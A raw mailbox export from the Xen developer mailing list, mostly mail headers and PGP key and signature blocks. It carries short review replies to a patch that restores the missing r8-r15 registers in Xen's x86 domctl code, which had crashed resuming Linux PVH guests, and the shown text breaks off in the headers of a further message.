 19f7ec30930000edb5.004 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 20 Jul 2026 09:02:18 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 2E51182A71;
 Mon, 20 Jul 2026 11:02:18 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=9Vo2cEaA4i3D8nMD06sBcRREZ5KnpnHpVYIMEm2IqMw=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=hL47BP2/QnRZcQnFEidsf0CX/R7oYglSPueRtQVpzTshU8YI0o0z+uf3fO1a8udvfdTwWqRc0
 W9RqLPaORBwM8l+YWJJ2Zbh9vQl281rBfDpVZ/Yh8fL18UiFFK18P3J+6Q8gJpGlrJH7yQr+8Qn
 0k4eqvX35q5FQxzHZ9LfF4wpJZh+DkXcrAG9v2YzaBT/c4fOdK5VG8CljScGY+sDPkrVIBjdcv0
 MeoQhMt/JDSbL+VH4rYcZNt26/j2kHoDmYMaqedx24fVZ1Mrf5fEh7zjp5Qn0Mkr/amFyw5e9x1
 AtyJfFWWOcZZu8tM7AmJA/LFL7DaBY2Cqg2MGixaRYPA==
X-Zone-Loop: 888eead32ed25e21f08d6b64b88be5e45b9e336c9c11
x-campaign-type: default
x-transaction-id: 5e35224f-c2d1-4e25-80f9-1f3998c67214
x-swg-uid: 01-446e8f58-35df-4e21-8ddd-7e287a32d491
X-Mailer: Sweego
Message-ID:
 <1784538139.8631fc262581453bbf619ec5b2062170.19f7ec30930000edb5@vates.tech>
x-swg-bid: 1784538139.8631fc262581453bbf619ec5b2062170.19f7ec30930000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Mon, 20 Jul 2026 11:02:16 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/domctl: restore all registers in
 arch_{get,set}_info_guest()
To: =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, xen-devel@lists.xenproject.org
Cc: Jan Beulich <jbeulich@suse.com>, Andrew Cooper
 <andrew.cooper3@citrix.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>
References: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6Z
 pd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp0x0HfuhcYfAYPR46XHTvjaJE
 v99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuROxdK8G+YHccJY8PvWSq2K2yiae2KGiAv
 1yjnZxug9/PtDfX8vQFUSg2w1ukRDf50wvDohN1zUQfFtofOP2xCRsDZiHAlQ0pF+aUjXQhP
 eP3IdpfWc8cyRLXF06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VacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------buGZHxVghXJj1aGtGoAqnZhD"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784538138316
X-purgate-ID: tlsNG-4011c0/1784538141-534D7CFC-F73FCA15/0/0
X-purgate-type: clean
X-purgate-size: 5851

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------buGZHxVghXJj1aGtGoAqnZhD
Content-Type: multipart/mixed; boundary="------------V0u006sfdWOas36jqGdUhZgU";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, xen-devel@lists.xenproject.org
Cc: Jan Beulich <jbeulich@suse.com>, Andrew Cooper
 <andrew.cooper3@citrix.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>
Message-ID: <d1238cdb-9a91-4ea0-abd3-e78f2f771e02@vates.tech>
Subject: Re: [PATCH] x86/domctl: restore all registers in
 arch_{get,set}_info_guest()
References: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
In-Reply-To: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>

--------------V0u006sfdWOas36jqGdUhZgU
Content-Type: multipart/mixed; boundary="------------HSJ0dz0yfqqPEGc2WEymeia3"

--------------HSJ0dz0yfqqPEGc2WEymeia3
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMjAvMDcvMjAyNiDDoCAwMjoxNiwgTWFyZWsgTWFyY3p5a293c2tpLUfDs3JlY2tpIGEg
w6ljcml0wqA6DQo+IENvbW1pdCA5Zjg5MmY4NGMyNzkgKCJ4ODYvZG9tY3RsOiBTdG9wIHVz
aW5nIFhMQVRfY3B1X3VzZXJfcmVncygpIikNCj4gY29udmVydGVkIG1lbWNweSgpIG9mIHRo
ZSBjcHVfdXNlcl9yZWdzIHN0cnVjdHVyZSB0byBleHBsaWNpdCBjb3B5IG9mDQo+IGl0cyBm
aWVsZHMuIEluIHRoZSBjb21wYXQgY2FzZSwgaXQgaW50ZW50aW9uYWxseSBtaXNzZWQgZmV3
IG9mIHRoZW0sDQo+IG5hbWVkIGluIHRoZSBjb21taXQgbWVzc2FnZS4gQnV0IHRoZSA2NGJp
dCBjYXNlIG1pc3NlZCBhbHNvIHI4LXIxNQ0KPiByZWdpc3RlcnMsIHdoaWNoIHdhcyBub3Qg
aW50ZW50aW9uYWwuIFRoaXMsIGF0IGxlYXN0LCBjYXVzZWQgTGludXgNCj4gNi4xOC54IGNy
YXNoIHdoZW4gcmVzdW1pbmcgUFZIIGRvbVUuDQo+IA0KPiBGaXggaXQgYnkgYWRkaW5nIG1p
c3NpbmcgYXNzaWdubWVudHMuDQo+IA0KPiBGaXhlczogOWY4OTJmODRjMjc5ICgieDg2L2Rv
bWN0bDogU3RvcCB1c2luZyBYTEFUX2NwdV91c2VyX3JlZ3MoKSIpDQo+IFNpZ25lZC1vZmYt
Ynk6IE1hcmVrIE1hcmN6eWtvd3NraS1Hw7NyZWNraSA8bWFybWFyZWtAaW52aXNpYmxldGhp
bmdzbGFiLmNvbT4NCg0KUmV2aWV3ZWQtYnk6IFRlZGR5IEFzdGllIDx0ZWRkeS5hc3RpZUB2
YXRlcy50ZWNoPg0K
--------------HSJ0dz0yfqqPEGc2WEymeia3
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuR
OxdK8G+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PwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------HSJ0dz0yfqqPEGc2WEymeia3--

--------------V0u006sfdWOas36jqGdUhZgU--

--------------buGZHxVghXJj1aGtGoAqnZhD
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpd5BgFAwAAAAAACgkQZg+p0QLLz9BJ
cgv/fTWKMTFv9gImDuEw9FC1kAOq0maTxrKOxyGmaxebnbjI5MjXuZ9+pWip6mxYfVRi+yX93F1i
gRCva9fhob0ojuKDJybVUCKzBlJOQ7C8RBd9HsR5kpbU/On0nGbaZEfGYda0+gpL2sJTzN2qsKJJ
zZdSwbFPz88qAitmjgpILnGM1jwNbR/pQdHRIjb4NCAYfQQei3SrDdTeaJs0+u9f93vp1qptudoi
5+/rKOZ0ohlMfpFnuONDT66SCkKZat++DAldyqQFSJtT4b2RPLhh8hH0RYhTQMvErKyTzVY0GunH
++hYmJr0l/mCZtpOiU2TYM8MdhjGNNs1pODgSoUKBXZAlBsphL7XkPX03b5PULLXR/nOMafRHGk9
mJVFP50zavhCBXQPYaJk1Z5OAorj0zPuxS0usPp2DEyP9TNGLmfB2V73J0F3UtZbb3u4A9ouhPFK
PL+kJak63fNxU1C0ag/Cim9retPAcKnuhwUtmxw4mZabVAjGLvRGiVW2bhtA
=iC+q
-----END PGP SIGNATURE-----

--------------buGZHxVghXJj1aGtGoAqnZhD--


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 09:11:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 09:11:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366344.1616229 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlk2D-0004bg-99; Mon, 20 Jul 2026 09:11:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366344.1616229; Mon, 20 Jul 2026 09:11:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlk2D-0004bZ-6H; Mon, 20 Jul 2026 09:11:37 +0000
Received: by outflank-mailman (input) for mailman id 1366344;
 Mon, 20 Jul 2026 09:11:35 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlk2B-0004bT-ST
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:11:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlk2A-00B4t8-RO
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:11:34 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5de646-5cb7-0a2a0a5109dd-0a2a4501e284-2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:11:34 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5de646-5984-0a2a45010019-d1558036e074-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:11:34 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-4956242332dso2918705e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 02:11:34 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563971572sm4637935e9.3.2026.07.20.02.11.33
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 02:11:33 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784538694; x=1785143494; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=M35yxX8Kg2U3yysr4y9rIXW9/Q5xZsxlMZab8c/b4dw=;
        b=AcZuDd/XiHZVDroGfBD6/Os9LhF1cpxMEdQS0U1HWSWTzFSthhgVjNT5vhiYz+xPz3
         nX8ajGoAOE9nJda10XSRVnEzAxKSvbAF73gFe+9mZRct5Ql3/tUl34oLqbX/7z7uMb/3
         MjjmPKirOIxwe69r5zjxpkmhjcEMxUKzEujXONkBiqG+/c6kSFpsmGjegw/GhxPhBln9
         Og8pfY6wtvtS7vUrqSo3+7DXsfCvuYFdTa/82arSw8OeBS0nTBW7jWOOlZhN32J6/4Ni
         yjbdUV9+x12c8UBtIYMGo1plcBfMbFfBsMpDPQX4RKE0fIcdSI3AvkD+fEdC0HaDxtAK
         9Sww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784538694; x=1785143494;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=M35yxX8Kg2U3yysr4y9rIXW9/Q5xZsxlMZab8c/b4dw=;
        b=mkoADtNEhOrMh8kODjvPd024LtbK/xJTf6gO0F3ieOojFh7KNFFcQsBu3HmZKeFAFr
         Z9VjTVkrAwWQAIHLDF+nb2glqe3wr2xkPrVL0jYAKV6qsPqlhB6g410cUPl2sseHlzjf
         ME3Q8EVRDnUBOZ6sSkdrigX69uGn6S/zIXutdzkThieQb1pwQ6Y23jlIvM3bAfsul908
         nXZF8MsZGlK88aqAL+07x8YpPNr1J0lB/rK83K4rW64Obwqod0zJTvLTTQ5OXye+LbjT
         NXRdAZRrcY59Qy5MAv8HkA15Up+uUW10eVuzmfAJlrxhoFAOIxRTAM9iSZgcsTNFkSPp
         MoBw==
X-Forwarded-Encrypted: i=1; AHgh+RrScjHJX2JOZNftTEB5z/DYuvz+3gdQzjoyyS+gOjfraA/butgT2HDwVRneqcAdQEN3r8Frb7UFUwo=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxhBTuez137bEgF7NjGu8Gsj+bxwgWKhq0jxISqpKpAT0zqXJAM
	ELJZVqJMw3v6MmecwhSDOPlmpISSz3QZ4N5I6mh71oV8mMXZOZSPWwqHOf8ujkbJQw==
X-Gm-Gg: AfdE7clXAmU+19I0snnZJjnXg6FUzSnQRH57lXsFSRWgMS8VomycBgSetQiygmi7XmZ
	diOHa7IF+skN7SVEZV1erYILfZwgSDJiM9AMjeEHi4BEeSV8UIEDKYsBdhBHRYJ5kxvGu+CBgUf
	faIx2tY0bJ/kH4XFfuvrbmytzPHc6Sz/tvdPoflNWYI9qufooQQaH9nPg0Vbxaezi4X7yqGRdTl
	zWJcIMkx1fkBioyVdg0Fzp654DIMdmQELuR+WwPWR4umw6LcWULzreY5KNSj5AqkXAEMFXIgHq4
	Fk+vUMgsw9cfzZC90Hy1VJi+pAyX9bGEwCHGPX9XM0k1ohueJ4If4jDOt6/X7fbClFrnrzszeDj
	FQiGlIVP1L3rqy91ATdAA0LgJppl401plMD9Q+eWB6Th1b3RN8qMh8J84sntp4uzq4N65nCH/Ty
	RuDmPdkvxO0CeSiiPxNuqZ92Wt6+XzNO/Eu754w+c2ZGLHbtdNC7olXYcirISGecCZWA==
X-Received: by 2002:a05:600c:4f81:b0:495:5b4a:53b7 with SMTP id 5b1f17b1804b1-4955b4a5c0amr48857155e9.19.1784538693895;
        Mon, 20 Jul 2026 02:11:33 -0700 (PDT)
Message-ID: <876a3cff-7c8b-4dd7-a158-a3f531074250@suse.com>
Date: Mon, 20 Jul 2026 11:11:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [4.22] Re: [PATCH] x86/domctl: restore all registers in
 arch_{get,set}_info_guest()
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, Andrew Cooper <andrew.cooper3@citrix.com>
References: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
 <83ac6e9b-3aaf-402d-9877-2ed63d365367@suse.com>
 <9d04dfe8-97ae-4153-aa54-1bdbd31a7637@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <9d04dfe8-97ae-4153-aa54-1bdbd31a7637@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1784538694-BFA6E757-8CF5BCA5/10/73395122804
X-purgate-type: spam
X-purgate-size: 289

On 20.07.2026 10:48, Oleksii Kurochko wrote:
> Considering that it leads to crash of Linux I agree that we want to have 
> this in 4.22:
>   Reviewed-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Btw, I'm transcribing this to Release-acked-by: while preparing to commit.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 09:19:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 09:19:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366354.1616239 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlk9i-0005bv-1W; Mon, 20 Jul 2026 09:19:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366354.1616239; Mon, 20 Jul 2026 09:19:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlk9h-0005bo-T9; Mon, 20 Jul 2026 09:19:21 +0000
Received: by outflank-mailman (input) for mailman id 1366354;
 Mon, 20 Jul 2026 09:19:20 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlk9g-0005be-87
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:19:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlk9f-006dMz-DU
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:19:19 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5de814-2eae-0a2a0a5409dd-0a2a4508b13c-16
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:19:19 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5de817-f659-0a2a45080019-d155dd2dbcbd-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:19:19 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-47f365afc5aso4655936f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 02:19:19 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4954a2e8529sm256032015e9.11.2026.07.20.02.19.17
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 02:19:18 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784539159; x=1785143959; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
